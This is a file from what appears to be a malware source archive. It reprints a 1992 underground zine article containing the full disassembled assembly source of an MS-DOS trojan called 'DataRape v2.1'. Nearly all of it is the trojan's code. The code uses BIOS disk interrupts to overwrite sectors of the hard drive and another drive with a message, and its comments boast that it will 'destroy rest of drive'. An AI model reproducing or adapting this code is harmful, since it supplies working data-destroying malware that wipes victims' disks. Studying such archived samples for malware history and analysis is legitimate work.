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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.daterape.asm
2021-01-12 17:38:47 -06:00

86 lines
2.8 KiB
NASM

ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
Article Title: Data Rape v2.1 Trojan
Author: Admiral Bailey
;=---
;
; DataRape 2.1 Trojan
;
; Disassembled By Admiral Bailey [YAM '92]
; June 25, 1992
;
; The writers of this virus are Zodiac and Data Disruptor
;
; Notes:Just a regular trojan. This one puts the messege into the
; sector it writes. Even though its not advanced it gets the
; job done.
;
;=---------
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
datarap2 proc far
start:
jmp begin
messege db '----------------------------',0Dh,0ah
db ' DataRape v2.1 ',0dh,0ah
db ' Written by Zodiac and ',0dh,0ah
db ' Data Disruptor ',0dh,0ah
copyright db '(c) 1991 RABID International',0dh,0ah
db '----------------------------',0dh,0ah
sector db 1
data_3 db 0
begin:
mov ah,0Bh ; write sectors
mov al,45h ; sectors to write to
mov bx,offset messege ; writes this messege
mov ch,0 ; clear out these
mov cl,0
mov dh,0
mov dl,80h ; drive
int 13h
jnc write_loop ; nomatter what jump to
jc write_loop ; the write loop and
jmp short write_loop ; destroy rest of drive
nop
compare:
mov sector,1 ; start writing at sec1
inc data_3
jmp short loc_4
db 90h
write_loop:
cmp data_3,28h
jae quit
cmp sector,9
ja compare
loc_4:
mov ah,3 ; write sec's from mem
mov al,9 ; #
mov bx,offset messege ; this is in mem
mov ch,data_3 ; cylinder
mov cl,sector ; sector
mov dh,0 ; drive head
mov dl,2 ; drive
int 13h
inc sector ; move up a sector
jmp short write_loop
db 73h, 02h, 72h, 00h
quit:
mov ax,4C00h
int 21h ; now quit
datarap2 endp
seg_a ends
end start